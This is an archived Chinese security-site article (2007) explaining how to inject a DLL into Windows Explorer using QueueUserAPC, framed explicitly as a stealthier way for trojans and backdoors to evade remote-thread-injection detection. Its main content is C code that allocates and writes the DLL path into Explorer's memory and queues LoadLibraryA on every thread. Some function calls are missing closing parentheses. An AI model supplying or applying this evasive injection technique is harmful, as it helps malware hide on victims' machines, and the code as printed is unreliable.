计算机网络安全资讯站点
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 网络编程 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
简单线程注入的实现
PHP+MySQL注入导出文件的新发现(附
对形象中国全站系统的搜索注入漏洞
ASP.NET 中如何防范SQL注入式攻击
注入攻击中变量处理的重要性
万网的尴尬-万网ORACLE注入漏洞曝
SQL注入路径问题
SQL注入得到WEBSHELL
SQL注入法攻击完全总结篇
php注入实例
暴力注入Explorer详细解析
作者:佚名 来源:安全在线 更新时间:2007-1-15 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:

向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样。

用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在Explorer里加载自己的dll。

首先提到的就是一个API:QueueUserAPC

DWORD QueueUserAPC(

PAPCFUNC pfnAPC, // APC function

HANDLE hThread, // handle to thread

ULONG_PTR dwData // APC function parameter ;

大家对这个API应该并不陌生,它直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事,ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问题,自己动手赋值,可是用户态程序可不好做,怎么办?其实最简单的,不好做就不做啰,让系统去干。

实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例子,目标线程调用SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。

比较幸运的是Explorer进程中一般情况下总有合我们意的线程,于是最简单但并不优美的办法就是枚举Explorer中所有线程,全数插入,示意如下:   ......

DWORD ret;

char *DllName = "c:\\MyDll.dll";

int len = strlen(DllName) + 1;

PVOID param = VirtualAllocEx(hProcess, NULL, len,

MEM_COMMIT | MEM_TOP_DOWN,

PAGE_READWRITE);

if (param != NULL)

{

if (WriteProcessMemory(hProcess, param,

(LPVOID)DllName, len, &ret))

{

for (DWORD p = 0; p < NumberOfThreads; p ++)

{

hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);

if (hThread != 0)

{

InjectDll(hProcess, hThread, (DWORD)param);

CloseHandle(hThread);

}

}

}

......

其中InjectDll:

void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)

{

QueueUserAPC(

(PAPCFUNC)GetProcAddress(GetModuleHandle("kernel32.dll", "LoadLibraryA",

hThread,

(DWORD)param

;

}

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2007 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    友情提示:建议使用IE6.0版本, 分辩率1024*768进行浏览
    中国安全在线 敢想 敢做 挑战自我 努力做最好
    中网科技有限公司 技术支持 鄂ICP备05006475号